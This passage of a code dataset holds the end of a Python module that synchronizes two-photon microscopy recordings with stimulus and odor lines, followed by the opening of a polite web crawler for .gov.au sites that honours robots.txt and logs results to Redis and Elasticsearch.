utils2p.find_sync_file(\"data/mouse_kidney_raw\")\n >>> line_names = [\"Frame Counter\", \"CO2_Stim\"]\n >>> (frame_counter, stimulus_line,) = utils2p.synchronization.get_lines_from_h5_file(h5_file, line_names)\n >>> frame_counter = utils2p.synchronization.process_frame_counter(frame_counter, steps_per_frame=1)\n >>> stimulus_line = utils2p.synchronization.process_stimulus_line(stimulus_line)\n >>> np.max(frame_counter)\n 4\n >>> stimulus_during_2p_frames = utils2p.synchronization.reduce_during_2p_frame(frame_counter, stimulus_line, np.mean)\n >>> len(stimulus_during_2p_frames)\n 5\n >>> np.max(stimulus_during_2p_frames)\n 0.7136134613556422\n >>> stimulus_during_2p_frames = utils2p.synchronization.reduce_during_2p_frame(frame_counter, stimulus_line, np.max)\n >>> len(stimulus_during_2p_frames)\n 5\n >>> set(stimulus_during_2p_frames)\n {0.0, 1.0}\n \"\"\"\n warnings.warn(\n \"reduce_during_2p_frame is deprecated use reduce_during_frame instead\",\n DeprecationWarning)\n return reduce_during_frame(frame_counter, values, function)\n\n\ndef reduce_during_frame(line, values, function):\n \"\"\"\n Reduces all values occurring during the acquisition of a\n frame to a single value using the `function` given by the user.\n The line function should be of the resolution of\n the ThorSync ticks and have the frame index as values.\n Possible choices are the processed frame_counter line or the\n processed cam_line.\n\n Parameters\n ----------\n line : numpy array\n Line holding frame indices.\n values : numpy array\n Values upsampled to the frequency of ThorSync,\n i.e. 1D numpy array of the same length as\n `frame_counter`.\n function : function\n Function used to reduce the value,\n e.g. np.mean.\n\n Returns\n -------\n reduced : numpy array\n Numpy array with value for each 2p frame.\n\n Examples\n --------\n >>> import utils2p\n >>> import utils2p.synchronization\n >>> import numpy as np\n >>> h5_file = utils2p.find_sync_file(\"data/mouse_kidney_raw\")\n >>> line_names = [\"Frame Counter\", \"CO2_Stim\"]\n >>> (frame_counter, stimulus_line,) = utils2p.synchronization.get_lines_from_h5_file(h5_file, line_names)\n >>> frame_counter = utils2p.synchronization.process_frame_counter(frame_counter, steps_per_frame=1)\n >>> stimulus_line = utils2p.synchronization.process_stimulus_line(stimulus_line)\n >>> np.max(frame_counter)\n 4\n >>> stimulus_during_2p_frames = utils2p.synchronization.reduce_during_frame(frame_counter, stimulus_line, np.mean)\n >>> len(stimulus_during_2p_frames)\n 5\n >>> np.max(stimulus_during_2p_frames)\n 0.7136134613556422\n >>> stimulus_during_2p_frames = utils2p.synchronization.reduce_during_frame(frame_counter, stimulus_line, np.max)\n >>> len(stimulus_during_2p_frames)\n 5\n >>> set(stimulus_during_2p_frames)\n {0.0, 1.0}\n \"\"\"\n if len(line) != len(values):\n raise ValueError(\"line and values need to have the same length.\")\n\n thor_sync_indices = tuple(edges(line, (0, np.inf))[0])\n\n starts = thor_sync_indices\n stops = thor_sync_indices[1:] + (len(line), )\n\n if not line[0] == -9223372036854775808:\n starts = (0, ) + starts\n stops = (thor_sync_indices[0], ) + stops\n\n dtype = values.dtype\n if np.issubdtype(dtype, np.number):\n dtype = np.float\n else:\n dtype = np.object\n reduced = np.empty(len(starts), dtype=dtype)\n\n for i, (start, stop) in enumerate(zip(starts, stops)):\n reduced[i] = function(values[start:stop])\n\n return reduced\n\n\nclass SyncMetadata(main._XMLFile):\n \"\"\"\n Class for managing ThorSync metadata.\n Loads metadata file 'ThorRealTimeDataSettings.xml'\n and returns the root of an ElementTree.\n\n Parameters\n ----------\n path : string\n Path to xml file.\n\n Returns\n -------\n Instance of class Metadata\n Based on given xml file.\n\n Examples\n --------\n >>> import utils2p.synchronization\n >>> metadata = utils2p.synchronization.SyncMetadata(\"data/mouse_kidney_raw/2p/Sync-025/ThorRealTimeDataSettings.xml\")\n >>> type(metadata)\n \n \"\"\"\n def get_active_devices(self):\n active_devices = []\n for device in self.get_value(\"DaqDevices\", \"AcquireBoard\"):\n if device.attrib[\"active\"] == \"1\":\n active_devices.append(device)\n return active_devices\n\n def get_freq(self):\n \"\"\"\n Returns the frequency of the ThorSync\n value acquisition, i.e. the sample rate.\n\n Returns\n -------\n freq : integer\n Sample frequency in Hz.\n\n Examples\n --------\n >>> import utils2p.synchronization\n >>> metadata = utils2p.synchronization.SyncMetadata(\"data/mouse_kidney_raw/2p/Sync-025/ThorRealTimeDataSettings.xml\")\n >>> metadata.get_freq()\n 30000\n \"\"\"\n sample_rate = -1\n for device in self.get_active_devices():\n set_for_device = False\n for element in device.findall(\"SampleRate\"):\n if element.attrib[\"enable\"] == \"1\":\n if set_for_device:\n raise ValueError(\n \"Invalid metadata file. Multiple sample rates \" +\n f\"are enabled for device {device.type}\")\n if sample_rate != -1:\n raise ValueError(\"Multiple devices are enabled.\")\n sample_rate = int(element.attrib[\"rate\"])\n set_for_device = True\n return sample_rate\n\n\ndef get_processed_lines(sync_file,\n sync_metadata_file,\n metadata_2p_file,\n seven_camera_metadata_file=None):\n \"\"\"\n This function extracts all the standard lines and processes them.\n It works for both microscopes.\n\n Parameters\n ----------\n sync_file : str\n Path to the synchronization file.\n sync_metadata_file : str\n Path to the synchronization metadata file.\n metadata_2p_file : str\n Path to the ThorImage metadata file.\n seven_camera_metadata_file : str\n Path to the metadata file of the 7 camera system.\n\n Returns\n -------\n processed_lines : dictionary\n Dictionary with all processed lines.\n\n Examples\n --------\n >>> import utils2p\n >>> import utils2p.synchronization\n >>> experiment_dir = \"data/mouse_kidney_raw/\"\n >>> sync_file = utils2p.find_sync_file(experiment_dir)\n >>> metadata_file = utils2p.find_metadata_file(experiment_dir)\n >>> sync_metadata_file = utils2p.find_sync_metadata_file(experiment_dir)\n >>> seven_camera_metadata_file = utils2p.find_seven_camera_metadata_file(experiment_dir)\n >>> processed_lines = utils2p.synchronization.get_processed_lines(sync_file, sync_metadata_file, metadata_file, seven_camera_metadata_file)\n \"\"\"\n processed_lines = {}\n processed_lines[\"Capture On\"], processed_lines[\n \"Frame Counter\"] = get_lines_from_sync_file(\n sync_file, [\"Capture On\", \"Frame Counter\"])\n\n try:\n # For microscope 1\n processed_lines[\"CO2\"], processed_lines[\"Cameras\"], processed_lines[\n \"Optical flow\"] = get_lines_from_sync_file(sync_file, [\n \"CO2_Stim\",\n \"Basler\",\n \"OpFlow\",\n ])\n except KeyError:\n # For microscope 2\n processed_lines[\"CO2\"], processed_lines[\n \"Cameras\"] = get_lines_from_h5_file(sync_file, [\n \"CO2\",\n \"Cameras\",\n ])\n\n processed_lines[\"Cameras\"] = process_cam_line(processed_lines[\"Cameras\"],\n seven_camera_metadata_file)\n\n metadata_2p = main.Metadata(metadata_2p_file)\n processed_lines[\"Frame Counter\"] = process_frame_counter(\n processed_lines[\"Frame Counter\"], metadata_2p)\n\n processed_lines[\"CO2\"] = process_stimulus_line(processed_lines[\"CO2\"])\n\n if \"Optical flow\" in processed_lines.keys():\n processed_lines[\"Optical flow\"] = process_optical_flow_line(\n processed_lines[\"Optical flow\"])\n\n mask = np.logical_and(processed_lines[\"Capture On\"],\n processed_lines[\"Frame Counter\"] >= 0)\n\n # Make sure the clipping start just before the\n # acquisition of the first frame\n indices = np.where(mask)[0]\n mask[max(0, indices[0] - 1)] = True\n\n for line_name, _ in processed_lines.items():\n processed_lines[line_name] = crop_lines(mask, [\n processed_lines[line_name],\n ])[0]\n\n # Get times of ThorSync ticks\n metadata = SyncMetadata(sync_metadata_file)\n freq = metadata.get_freq()\n times = get_times(len(processed_lines[\"Frame Counter\"]), freq)\n processed_lines[\"Times\"] = times\n\n return processed_lines\n\n\ndef epoch_length_filter(line, cut_off):\n \"\"\"\n This function filters a binary based on the length\n of each event.\n\n Parameters\n ----------\n line : numpy array of type bool\n Binary trace that is filtered.\n cut_off : int\n The minimal event length. All event shorter\n than `cut_off` are set to `False`.\n\n Returns\n -------\n filtered : numpy array of type bool\n The filtered binary trace.\n \"\"\"\n diff = np.diff(np.pad(line.astype(int), 1, \"constant\", constant_values=0))\n rising_edges = np.where(diff > 0)[0]\n falling_edges = np.where(diff < 0)[0]\n epoch_length = falling_edges - rising_edges\n\n discarded_epochs = (epoch_length < cut_off)\n\n discarded_rising_edges = rising_edges[discarded_epochs]\n discarded_falling_edges = falling_edges[discarded_epochs]\n\n filtered = line.copy()\n for start, stop in zip(discarded_rising_edges, discarded_falling_edges):\n filtered[start:stop] = 0\n\n return filtered.astype(bool)\n\n\ndef process_odor_line(line,\n freq=30000,\n arduino_commands=(\n \"None\",\n \"Odor1\",\n \"Odor2\",\n \"Odor3\",\n \"Odor4\",\n \"Odor5\",\n \"Odor6\",\n \"Odor1R\",\n \"Odor2R\",\n \"Odor1L\",\n \"Odor2L\",\n \"Odor1B\",\n \"Odor2B\",\n \"WaterB\",\n \"bubbleMFC_R0\",\n \"MFC1_R2\",\n \"MFC2_L1\",\n ),\n step_size=0.2703,\n filter_only=False):\n \"\"\"\n The odor line is based on a PWM signal for the Arduino controlling the\n valves. This function applies a Butterworth filter and converts the\n resulting voltages to level indices. The corresponding the setting of the\n valves are given by the `arduino_commands` argument.\n\n Parameters\n ----------\n line : numpy array\n Unprocessed odor line from h5 file.\n freq : int\n Frequency of ThorSync. Necessary for the Butterworth filter.\n arduino_commands : list of strings\n Description of the valve settings for commands sent to arduino.\n Note: The order matters since the serial communications between\n computer and Arduino is based on the index in the list.\n This index is converted to a PWM signal that is recorded by ThorSync.\n step_size : float\n The voltage step size between different levels of the PWM. This is used\n to convert the voltage to indices.\n filter_only : bool\n If `True`, only the filtered line is returned instead of the odors\n based on the `arduino_commands`. This is useful for determining\n the `step_size`.\n\n Returns\n -------\n numpy array of strings\n \"\"\"\n b, a = scipy.signal.butter(3, 10, fs=freq)\n filtered_line = scipy.signal.filtfilt(b, a, line)\n if filter_only:\n return filtered_line\n indices = np.rint(filtered_line / step_size).astype(int)\n for index in np.unique(indices):\n mask = (indices == index)\n filtered_mask = epoch_length_filter(mask, freq)\n bad_epochs = (mask & ~filtered_mask)\n event_frame_indices, event_numbers = event_based_frame_indices(bad_epochs)\n for event_number in np.unique(event_numbers):\n event_number_mask = (event_numbers == event_number)\n frame_number_mask = (event_frame_indices >= 0)\n event_mask = event_number_mask & frame_number_mask\n previous_event_mask = event_number_mask & ~frame_number_mask\n if np.any(previous_event_mask):\n indices[event_mask] = indices[previous_event_mask][-1]\n else:\n indices[event_mask] = 0\n return np.array(arduino_commands)[indices]\n\n\ndef event_based_frame_indices(event_indicator):\n \"\"\"\n Calculates frame indices based on events.\n Frames before an event have negative numbers.\n The event onset has frame number 0 and the frames\n count up for the duration of the event.\n To be able to distinguish multiple events in the\n `event_indicator` an array with event numbers is\n returned.\n\n Parameters\n ----------\n event_indicator : numpy array of type bool\n True indicates some event happening.\n\n Returns\n -------\n event_based_indices : numpy array of type int\n Event based indices as described above.\n event_number : numpy array of type int\n Array of the same length as `event_based_indices`\n counting the number of events in event indicator.\n \"\"\"\n mask = event_indicator.astype(bool)\n inv_mask = ~mask\n inv_mask = inv_mask[::-1]\n mask = mask.astype(np.int8)\n inv_mask = inv_mask.astype(np.int8)\n mask = np.concatenate(([\n 0,\n ], mask))\n inv_mask = np.concatenate((inv_mask, [\n 0,\n ]))\n\n event_numbers = np.cumsum(np.clip(np.diff(mask), 0, None))\n inv_event_numbers = np.cumsum(np.clip(np.diff(inv_mask), 0, None))\n\n mask = mask[1:]\n inv_mask = inv_mask[:-1]\n\n # Count up from zero during the event\n event_frame_indices = np.cumsum(mask)\n inv_event_frame_indices = np.cumsum(inv_mask)\n n_events = max(event_numbers)\n for event in np.arange(1, n_events + 1):\n i = np.where(event_numbers == event)\n event_frame_indices[i] = event_frame_indices[i] - \\\n event_frame_indices[i[0][0]] \n event_frame_indices[~mask.astype(bool)] = 0\n # Count down from zero before each event\n n_inv_event = max(inv_event_numbers)\n for inv_event in np.arange(1, n_inv_event + 1):\n i = np.where(inv_event_numbers == inv_event)\n inv_event_frame_indices[i] = inv_event_frame_indices[i] - \\\n inv_event_frame_indices[i[0][0]]\n inv_event_frame_indices[~inv_mask.astype(bool)] = 0\n inv_event_frame_indices = -inv_event_frame_indices[::-1]\n\n event_frame_indices[~mask.astype(bool)] = inv_event_frame_indices[\n ~mask.astype(bool)]\n\n event_numbers = np.cumsum(\n -1 * np.clip(np.diff(np.concatenate(\n ([2], event_frame_indices))), -1, 0))\n # Make sure the last frames are not counted as the pre-event\n # frames of a new event\n n_events = max(event_numbers)\n last_event = np.where(event_numbers == n_events)\n if np.all(event_frame_indices[last_event] < 0):\n event_numbers[last_event] = -1\n\n return event_frame_indices, event_numbers\n","repo_name":"NeLy-EPFL/utils2p","sub_path":"utils2p/synchronization.py","file_name":"synchronization.py","file_ext":"py","file_size_in_byte":43769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14468654856","text":"#!/usr/bin/env python\nimport datetime\nimport concurrent.futures\nimport hashlib\nimport os\nimport sys\nimport signal\nimport time\nimport random\nfrom contextlib import contextmanager\nfrom html.parser import HTMLParser\nfrom urllib.parse import urlparse\nfrom urllib.robotparser import RobotFileParser\n\nimport dateutil.parser\nimport boto3\nimport requests\nimport redis\nimport pytz\nfrom elasticsearch import Elasticsearch, helpers\n\nfrom crawler.loggers import logger\nfrom crawler.conf import settings\nfrom crawler.monitoring import scl, statsd_timer\nfrom crawler.parser import WebsiteParser\n\nHEADERS = {\n 'Accept': 'Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;',\n 'Accept-Encoding': 'gzip,deflate',\n 'Cache-Control': 'max-age=0',\n 'User-Agent': \"Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:54.0) https://github.com/AusDTO/disco_crawl\",\n}\n\nes = Elasticsearch(\n hosts=[settings.ANALYTICS_ES_ENDPOINT],\n)\n\nredis_client = redis.StrictRedis(\n host=settings.REDIS_LOCK_ENDPOINT,\n port=6379,\n db=settings.REDIS_LOCK_DB,\n password=settings.REDIS_LOCK_PASSWORD,\n)\n\n\n@statsd_timer('crawler.proc.put_to_redis')\ndef put_to_redis(action, domain_name):\n assert action in ('SEEN', 'FINISHED')\n # print(\"REDIS {} {}\".format(action, domain_name))\n cli = redis.StrictRedis(\n host=settings.get('REDIS_{}_ENDPOINT'.format(action)),\n port=6379,\n db=settings.get('REDIS_{}_DB'.format(action)),\n password=settings.get('REDIS_{}_PASSWORD'.format(action)),\n )\n cli.set(\n domain_name.lower(),\n utcnow().isoformat()\n )\n\n\ndef utcnow():\n return datetime.datetime.utcnow().replace(tzinfo=pytz.utc)\n\n\ndef chunks(l, n):\n # For item i in a range that is a length of l,\n for i in range(0, len(l), n):\n # Create an index range for l of n items:\n yield l[i:i+n]\n\n\ndef get_memory_usage():\n import os\n\n def _VmB(VmKey):\n _proc_status = '/proc/%d/status' % os.getpid()\n _scale = {'kB': 1024.0, 'mB': 1024.0*1024.0,\n 'KB': 1024.0, 'MB': 1024.0*1024.0}\n try:\n t = open(_proc_status)\n v = t.read()\n t.close()\n except Exception as e:\n logger.exception(e)\n return 0.0 # non-Linux?\n # get VmKey line e.g. 'VmRSS: 9999 kB\\n ...'\n i = v.index(VmKey)\n v = v[i:].split(None, 3) # whitespace\n if len(v) < 3:\n return 0.0 # invalid format?\n return float(v[1]) * _scale[v[2]]\n\n return round(_VmB('VmSize:') / 1024.0 / 1024.0)\n\n\ndef robots_allow(domain_name, robots, url):\n if robots and not robots.can_fetch(\"disco_crawl\", url):\n # print(\"[%s] robots.txt deny %s\" % (domain_name, url))\n return False\n return True\n\n\ndef domainize_link(domain_name, link, scheme='http'):\n parsed = urlparse(link)\n domainised = parsed._replace(scheme=scheme, netloc=domain_name)\n if domainised.path == '':\n domainised = domainised._replace(path='/')\n return domainised.geturl()\n\n\nclass TimeoutException(Exception):\n pass\n\n\nclass BlacklistManagerClass(object):\n def __init__(self):\n self.blacklist = set()\n\n def _get_clean_link(self, link):\n parsed = urlparse(link)\n nohost = parsed._replace(scheme='', netloc='')\n clean_url = nohost.geturl() or '/'\n try:\n return hashlib.md5(clean_url.encode(\"utf-8\")).hexdigest().lower()\n except Exception as e:\n # can't be encoded, return the string\n return clean_url\n\n def put(self, link):\n # urlparse(\"https://wow.xxx/a/b/c/?d=e&f=g#123\")\n # ParseResult(scheme='https', netloc='wow.xxx', path='/a/b/c/', params='', query='d=e&f=g', fragment='123')\n self.blacklist.add(self._get_clean_link(link))\n\n def is_blacklisted(self, link):\n result = self._get_clean_link(link) in self.blacklist\n return result\n\n\n@contextmanager\ndef time_limit(seconds):\n def signal_handler(signum, frame):\n raise TimeoutException(\"Timed out!\")\n signal.signal(signal.SIGALRM, signal_handler)\n signal.alarm(seconds)\n try:\n yield\n finally:\n signal.alarm(0)\n\n\ndef normalize_href(href, page_url=None):\n if not href:\n return href\n parsed = urlparse(href)\n\n only_path = parsed.path\n if not parsed.netloc:\n # local url\n if not only_path.startswith('/') and page_url:\n # relative url\n base_directory = os.path.dirname(page_url.path)\n if not base_directory.endswith('/'):\n base_directory += '/'\n only_path = base_directory + only_path\n\n norm_path = os.path.normpath(only_path)\n if only_path.endswith('/') and not norm_path.endswith('/'):\n norm_path += '/'\n normalized_parsed = parsed._replace(path=norm_path)\n if normalized_parsed.path == '.':\n # root domain\n normalized_parsed = normalized_parsed._replace(path='')\n if normalized_parsed.path.endswith('/.'):\n normalized_parsed = normalized_parsed._replace(path=normalized_parsed.path[:-1])\n if '..' in href:\n print(\"Normalize url {} @ {} to {}\".format(page_url, href, normalized_parsed.geturl()))\n if normalized_parsed.fragment:\n # print(\"Remove fragment from the url {}\".format(normalized_parsed))\n normalized_parsed = normalized_parsed._replace(fragment=None)\n return normalized_parsed.geturl()\n\n\nclass LinkParser(HTMLParser):\n def __init__(self, page_url, *args, **kwargs):\n self.links = set()\n self.page_url = urlparse(page_url)\n super().__init__(*args, **kwargs)\n\n def handle_starttag(self, tag, attrs):\n # Only parse the 'anchor' tag.\n if tag == \"a\":\n # Check the list of defined attributes.\n attrs = dict(attrs)\n href = (attrs.get('href', '') or '').strip()\n rel = (attrs.get('rel', '') or '').lower().strip()\n if href.startswith('#'):\n # internal in-page or complex javascript link, ignore\n return\n if rel == 'nofollow':\n return\n if href == '#' or href.lower().startswith('javascript:'):\n return\n if href.lower().startswith('mailto:'):\n return\n if href.lower().startswith('tel:'):\n return\n self.links.add(\n normalize_href(href, self.page_url).strip().replace('\\n', '').replace('\\r', '')\n )\n\n\ndef is_domain_local(our_domain, target_domain):\n return our_domain.strip().lower() == target_domain.strip().lower()\n # if our_domain.startswith('www.'):\n # pure_domain = our_domain[len('www.'):]\n # www_domain = our_domain\n # else:\n # pure_domain = our_domain\n # www_domain = 'www.' + our_domain\n # if not target_domain:\n # return True\n # if target_domain in (pure_domain, www_domain):\n # return True\n # return False\n\n\ndef is_redirect_local(our_domain, resp):\n \"\"\"\n Return True for local requests and False for any extra domain\n Please note that usually we consider www.site.gov.au and site.gov.au is a same\n domain, but not here, because site.gov.au usually redirects to www version\n \"\"\"\n if not resp.is_redirect:\n return False\n parsed_url = urlparse(resp.next.url)\n if not parsed_url.netloc:\n return True\n if parsed_url.netloc.lower().strip() == our_domain.lower().strip():\n return True\n return False\n\n\n@statsd_timer('crawler.proc.get_already_crawled')\ndef get_already_crawled(domain_name):\n \"\"\"\n Return all crawled pages both for www and not-www where the status is not 3xx\n \"\"\"\n already_crawled = set()\n next_links = set()\n\n mybl = BlacklistManagerClass()\n\n try:\n objects = []\n scan_iterator = helpers.scan(\n client=es,\n index=settings.ANALYTICS_ES_INDEX_NAME,\n doc_type='crawledpage',\n # q='DomainName:\"{}\" DomainName:\"www.{}\"'.format(nowww_domain_name, nowww_domain_name),\n q='DomainName:\"{}\"'.format(domain_name),\n size=1000,\n scroll='2m',\n )\n for obj_found in scan_iterator:\n objects.append(obj_found['_source'])\n for hit in objects:\n link = hit['identifier']\n already_crawled.add(link)\n mybl.put(link)\n for hit in objects:\n for sublink in hit.get('links', []) or []:\n if not mybl.is_blacklisted(sublink):\n next_links.add(sublink)\n except Exception as e:\n if 'index_not_found_exception' not in str(e):\n logger.exception(e)\n next_links = list(next_links)[:settings.MAX_RESULTS_PER_DOMAIN]\n random.shuffle(next_links)\n return list(already_crawled)[:], next_links[:]\n\n\ndef is_website_dualdomain(domain_name, is_https=None):\n \"\"\"\n Return True if this website is being served both as www.website.name and website.name\n This is unpleasant behaviour, because websices should redirect from www to non-www version\n (or vs) and without such extra check we will crawl website twice.\n\n Timeouts are hardcoded because we don't want to spend too much time on it and expect websites\n to be able to handle 4 extra index page requests in 12 seconds\n \"\"\"\n\n def no_redirect_or_local_redirect(domain_name, is_https):\n \"\"\"\n Return True if given domain name for index page returns either some content page\n or local redirect\n False if it redirects somewhere outside (for example from non-www to www version)\n \"\"\"\n time.sleep(3)\n\n url = \"{}://{}/\".format(\n 'https' if is_https else 'http',\n domain_name\n )\n try:\n resp = requests.head(\n url,\n allow_redirects=False,\n headers=HEADERS,\n timeout=20\n )\n except Exception as e:\n # they support www but don't support non-www version, assume domain broken\n # another version is still may be available and crawled\n # put_message_to_es(domain_name, msg=\"broken\")\n # return False\n # last chance - if it's https when we fall back to http, and use http result\n if is_https:\n url = \"http://{}/\".format(domain_name)\n try:\n resp = requests.head(\n url,\n allow_redirects=False,\n headers=HEADERS,\n timeout=20\n )\n except Exception as e:\n # no chances anymore\n return False\n else:\n return False\n if not resp.is_redirect:\n return True\n # is redirect, is it inside the same domain?\n next_domain = urlparse(resp.next.url).netloc\n if next_domain.lower() == domain_name.lower():\n # internal redirect, we don't care about the protocol yet\n return True\n else:\n # external redirect, this website most likely won't give us anything\n return False\n\n if domain_name.startswith('www.'):\n nowww = domain_name[len('www.'):]\n www = domain_name\n else:\n nowww = domain_name\n www = 'www.' + domain_name\n\n if no_redirect_or_local_redirect(www, is_https) and no_redirect_or_local_redirect(nowww, is_https):\n return True\n else:\n return False\n\n\n@statsd_timer('crawler.proc.postprocess_resp')\ndef postprocess_resp(domain_name, scheme, url, resp, data, error, head_execution_time=None):\n scl.incr('crawler.postprocess.started')\n external_domains = set()\n internal_links = set()\n external_links = set()\n\n content_type = resp.headers.get('Content-Type', 'binary/octet-stream') if resp else None\n is_html = content_type.startswith('text/') if content_type else False\n\n print(\"[{}://{}] Processing {}: {} len {}, {} {}\".format(\n scheme,\n domain_name,\n resp.status_code if resp else 0,\n content_type,\n 'non-html' if data == '...' else error if error else len(data),\n url,\n \", {}\".format(error) if error else \"\"\n ))\n\n if is_html:\n parser = LinkParser(page_url=url)\n parser.feed(data.decode('utf-8'))\n for link in parser.links:\n if not link:\n continue\n if link.startswith('mailto:') or link.startswith('tel:'):\n continue\n if link.startswith('#') or link.lower().startswith('javascript:'):\n continue\n if link.endswith('/.'):\n link = link[:-1]\n parsed_url = urlparse(link)\n if not parsed_url.scheme and parsed_url.netloc:\n parsed_url = parsed_url._replace(scheme=scheme)\n if not parsed_url.netloc or is_domain_local(domain_name, parsed_url.netloc):\n # local link\n normalized_url = parsed_url.geturl()\n if len(normalized_url) < 1024: # experimental value\n internal_links.add(normalized_url)\n else:\n print(\"Ignoring the link {}, too long\".format(normalized_url))\n else:\n # external link\n external_links.add(parsed_url.geturl())\n if parsed_url.netloc != domain_name and parsed_url.netloc not in external_domains:\n external_domains.add(parsed_url.netloc)\n if parsed_url.netloc.endswith('.gov.au'):\n # interesting for us\n if \":\" in parsed_url.netloc or \"@\" in parsed_url.netloc:\n print(\"Ignoring suspicious domain name {}\".format(parsed_url.netloc))\n else:\n put_to_redis(\"SEEN\", parsed_url.netloc)\n\n # if this is a redirect then we have at least one link.\n # Just need to decide, if it's external or internal here\n if resp and resp.is_redirect:\n parsed_redirect_url = urlparse(resp.next.url)\n if is_redirect_local(domain_name, resp):\n nohost_redirect_url = parsed_redirect_url._replace(scheme='', netloc='')\n internal_links.add(nohost_redirect_url.geturl() or '/')\n else:\n # if resulting domain is not the same then we add new domain to seen list\n external_links.add(resp.next.url)\n external_domains.add(parsed_redirect_url.netloc)\n\n scl.incr('crawler.postprocess.internal-links-found', len(internal_links))\n scl.incr('crawler.postprocess.external-links-found', len(external_links))\n try:\n parser = WebsiteParser(\n is_html=is_html,\n url=url,\n body=data,\n internal_links=list(internal_links)[:],\n external_links=list(external_links)[:],\n external_domains=list(external_domains)[:],\n resp=resp,\n error=error,\n head_execution_time=head_execution_time,\n )\n parser.put_to_es()\n parser.put_to_s3()\n except Exception as e:\n logger.exception(e)\n scl.incr('crawler.postprocess.exception')\n finally:\n del parser\n scl.incr('crawler.postprocess.done')\n return list(internal_links)[:]\n\n\n@statsd_timer('crawler.proc.do_work')\ndef do_work(domain_name, scheme, url, sleep_seconds):\n # in-thread worker which sleeps for some second and then does the crawl and processing\n if not sleep_seconds:\n sleep_seconds = settings.DOWNLOAD_DELAY\n sleep_seconds = max(sleep_seconds, settings.DOWNLOAD_DELAY) * settings.WORKERS\n\n url = domainize_link(domain_name, url, scheme=scheme)\n print(\"[{}://{}] Crawling {} with desired delay {}s\".format(\n scheme, domain_name, url, sleep_seconds\n ))\n\n sleep_timeout = 2 + random.randint(sleep_seconds, int(sleep_seconds * 1.4))\n scl.incr('crawler.generic.slept_ms', sleep_timeout * 1000)\n time.sleep(sleep_timeout)\n\n resp, data, error = None, None, None\n\n t_before_head = time.time()\n scl.incr('crawler.domain.fetch-head')\n try:\n r_resp = requests.head(url, allow_redirects=False, headers=HEADERS, timeout=10)\n resp = r_resp\n data = '...'\n if r_resp.is_redirect:\n # redirect to r.next.url, so we log 302\n scl.incr('crawler.domain.redirect')\n if is_redirect_local(domain_name, r_resp):\n # if the same - just log redirect, and the redirect link as one linked page\n scl.incr('crawler.domain.redirect-internal')\n else:\n # if resulting domain is not the same then we add new domain to seen list\n scl.incr('crawler.domain.redirect-external')\n extra_domain = urlparse(r_resp.next.url).netloc.lower()\n if extra_domain.endswith('.gov.au'):\n put_to_redis(\"SEEN\", extra_domain)\n # print(\"Redirect to {} gives us {} domain name as seen\".format(r_resp.next.url, extra_domain))\n except Exception as e:\n scl.incr('crawler.domain.fetch-head-exception')\n logger.exception(e)\n formatted = str(e)\n # if 'ssl.CertificateError' in formatted or 'socket.gaierror' in formatted or 'httplib2.' in formatted:\n # log the problem\n resp, data, error = None, 'error', \"Can't fetch the url: {}\".format(formatted)\n else:\n scl.incr('crawler.domain.fetch-head-success')\n head_execution_time = time.time() - t_before_head\n scl.timing('crawler.domain.head-execution-time', head_execution_time)\n\n content_type = resp.headers.get('Content-Type', 'binary/octet-stream') if resp else None\n is_html = content_type.startswith('text/') if content_type else False\n if is_html:\n scl.incr('crawler.domain.is-html')\n else:\n scl.incr('crawler.domain.is-non-html')\n\n if is_html:\n # worth fetching the body\n scl.incr('crawler.generic.slept_ms', sleep_seconds * 1000)\n time.sleep(sleep_seconds)\n try:\n r_resp = requests.get(\n url,\n headers=HEADERS,\n allow_redirects=False,\n timeout=10\n )\n resp = r_resp\n data = resp.content\n except Exception as e:\n scl.incr('crawler.domain.fetch-get-exception')\n # connection error most likely\n formatted = str(e)\n # if 'ssl.CertificateError' in formatted or 'socket.gaierror' in formatted or 'httplib2.' in formatted:\n # TODO: count problems to not download the website with bad certificate or down now but working\n # 5 minutes ago and so on, so stop after 20 major problems like timeout or TLS error\n # q_problems.put(formatted)\n resp, data, error = None, 'error', formatted\n logger.error(\"[%s] Error %s for %s\", domain_name, formatted, url)\n else:\n scl.incr('crawler.domain.fetch-get-success')\n return postprocess_resp(\n domain_name, scheme, url,\n resp, data, error,\n head_execution_time=head_execution_time\n )\n\n\n@statsd_timer('crawler.proc.put_message_to_es')\ndef put_message_to_es(domain_name, msg):\n scl.incr('es.message.pushed')\n es.index(\n index=settings.ANALYTICS_ES_CRAWLED_INDEX_NAME,\n body={\n \"DomainName\": domain_name,\n \"{}At\".format(msg): utcnow(),\n \"RecentStatus\": msg,\n \"eventDate\": utcnow(),\n },\n doc_type='domain-{}'.format(msg),\n )\n\n\ndef do_main_futures(domain_name):\n global redis_client\n\n if is_redis_crawl_locked(domain_name):\n scl.incr('crawler.domain.ratelimited')\n return False\n scl.incr('crawler.domain.started')\n\n blacklist = BlacklistManagerClass()\n sleep_seconds = settings.DOWNLOAD_DELAY\n robots = None\n scheme = 'http' # by default it's http, but we try to determine if it's https\n\n # try to guess the http/https version\n try:\n r = requests.head('https://{}'.format(domain_name))\n str_status = str(r.status_code)\n if str_status and str_status[0] in ['1', '2', '3']:\n scheme = 'https'\n scl.incr('crawler.domain.https_found')\n logger.info(\n \"[https://%s] The website is HTTPS\", domain_name,\n )\n except Exception as e:\n logger.error(\n \"[http://%s] While trying to request https version got %s error\",\n domain_name, str(e)\n )\n scl.incr('crawler.domain.https_not_found')\n\n dual = is_website_dualdomain(domain_name, scheme == 'https')\n if dual:\n if domain_name.startswith('www.'):\n # crawl it\n scl.incr('crawler.domain.dual-crawl')\n pass\n else:\n # for dual-domain websites ignore the non-www version\n scl.incr('crawler.domain.dual-ignore')\n print(\"[%s] Won't crawl the domain because www-version will be crawled some day\" % domain_name)\n put_to_redis(\"SEEN\", 'www.' + domain_name)\n put_message_to_es(domain_name, msg=\"dual-domain\")\n put_message_to_es(domain_name, msg=\"finished\")\n put_to_redis(\"FINISHED\", domain_name)\n return\n\n # fetch robots.txt file\n try:\n with time_limit(30):\n robots = RobotFileParser(\n '{}://{}/robots.txt'.format(\n scheme,\n domain_name\n )\n )\n robots.read()\n except TimeoutException:\n logger.error(\n \"[%s://%s] Timeout fetching the robots.txt file, ignoring the website\",\n scheme, domain_name\n )\n scl.incr('crawler.domain.broken')\n scl.incr('crawler.domain.robots-timeout')\n put_message_to_es(domain_name, msg=\"broken\")\n put_to_redis(\"FINISHED\", domain_name)\n exit(10)\n except Exception as e:\n logger.error(\"[%s://%s] Corrupted robots.txt file: %s\", 